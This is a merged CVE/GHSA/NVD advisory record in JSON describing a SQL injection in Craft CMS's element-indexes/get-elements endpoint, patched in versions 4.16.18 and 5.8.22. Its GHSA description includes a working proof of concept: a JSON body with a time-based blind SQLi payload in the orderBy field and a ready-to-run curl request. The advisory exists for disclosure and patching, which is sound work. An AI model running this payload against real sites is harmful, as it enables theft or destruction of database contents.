{"id":"CVE-2026-25495","aliases":["CVE-2026-25495","GHSA-2453-mppf-46cj"],"related":["CVE-2026-32272"],"kind":"vulnerability","state":"published","title":"Craft has a SQL Injection in Element Indexes via criteria[orderBy]","summary":"Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload). This issue is patched in versions 4.16.18 and 5.8.22.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query. An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload). This issue is patched in versions 4.16.18 and 5.8.22.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query.\nAn attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload).\n\n> [!NOTE]\n> The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay.\n\n---\n## PoC\n### Required Permissions\n\n- Access to the Control Panel\n\n### Steps to reproduce\n1. Log in to the control panel\n2. Navigate to any element index (e.g., **Users** `/admin/users`, **Entries**, **Assets**, etc.)\n3. Intercept the `POST` request to `/index.php?p=admin/actions/element-indexes/get-elements`\n4. Modify the JSON body to the following:\n```json\n{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(5)) --\"},\"viewState\":{\"static\":false}}\n```\n5. Send the request\n6. Observe a delay in the response (delay = rows × sleep time)\n\nAlternatively, you can use the following `curl` (bash syntax) command (replace cookie, CSRF token, and target domain as needed):\n```bash\ncurl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\\\"context\\\":\\\"index\\\",\\\"elementType\\\":\\\"craft\\\\\\\\elements\\\\\\\\User\\\",\\\"source\\\":\\\"*\\\",\\\"baseCriteria\\\":{\\\"siteId\\\":1},\\\"criteria\\\":{\\\"limit\\\":100,\\\"orderBy\\\": \\\"(elements.id) DESC, (SELECT SLEEP(0.2)) --\\\"},\\\"viewState\\\":{\\\"static\\\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'\n```\n\n### Impact\n\nWith this Blind SQLi, an attacker can:\n- **Exfiltrate data** character-by-character.\n- **Modify or destroy data** (drop tables, update records, alter schema).\n\n### Root Cause\nThe `orderBy` parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., `(elements.id)`) bypasses internal quoting mechanisms.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Craft es una plataforma para crear experiencias digitales. En las versiones de Craft 4.0.0-RC1 hasta 4.16.17 y 5.0.0-RC1 hasta 5.8.21, el endpoint element-indexes/get-elements es vulnerable a inyección SQL a través del parámetro criteria[orderBy] (cuerpo JSON). La aplicación no sanea esta entrada antes de usarla en la consulta de la base de datos. Un atacante con acceso al Panel de Control puede inyectar SQL arbitrario en la cláusula ORDER BY al omitir viewState[order] (o al establecer ambos con la misma carga útil). Este problema está parcheado en las versiones 4.16.18 y 5.8.22.","source":"nvd"}],"published":"2026-02-09T19:42:57.778Z","modified":"2026-07-08T07:27:37.160Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":">= 5.0.0-RC1, < 5.8.22","status":"affected"},{"version":">= 4.0.0-RC1, < 4.16.18","status":"affected"}],"vendor":"craftcms","product":"cms","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"5.0.0-RC1","status":"affected","fixed":"5.8.22"}],"ecosystem":"Packagist","package":"craftcms/cms","purl":"pkg:composer/craftcms/cms","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"4.0.0-RC1","status":"affected","fixed":"4.16.18"}],"ecosystem":"Packagist","package":"craftcms/cms","purl":"pkg:composer/craftcms/cms","source":"ghsa"},{"ranges":[{"status":"affected","introduced":">4.0.0","fixed":"4.16.18"},{"status":"affected","introduced":">5.0.0","fixed":"5.8.22"},{"status":"affected","version":"4.0.0"},{"status":"affected","version":"4.0.0"},{"status":"affected","version":"4.0.0"},{"status":"affected","version":"4.0.0"},{"status":"affected","version":"5.0.0"},{"status":"affected","version":"5.0.0"}],"vendor":"craftcms","product":"craft_cms","cpe":"cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/craftcms/cms/security/advisories/GHSA-2453-mppf-46cj","tags":["exploit","patch","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/craftcms/cms/commit/96c60d775c644ff0a0276da52fe29e11d4cd38d2","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/craftcms/cms/releases/tag/5.8.22","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25495","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/craftcms/cms","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/craftcms/cms/releases/tag/4.16.18","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-02-10T15:32:10.339Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25495","url":"https://www.cve.org/CVERecord?id=CVE-2026-25495","licence":"CVE Terms of Use","modified":"2026-02-10T16:00:20.118Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2453-mppf-46cj","url":"https://github.com/advisories/GHSA-2453-mppf-46cj","licence":"CC-BY-4.0","modified":"2026-07-08T07:27:37.160Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25495","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25495","licence":"Public domain","modified":"2026-06-17T10:24:44.243Z"}],"updatedAt":"2026-11-25T22:59:13.669Z","epss":{"score":0.00646,"percentile":0.45661,"date":"2026-11-30T12:00:22.000Z"}}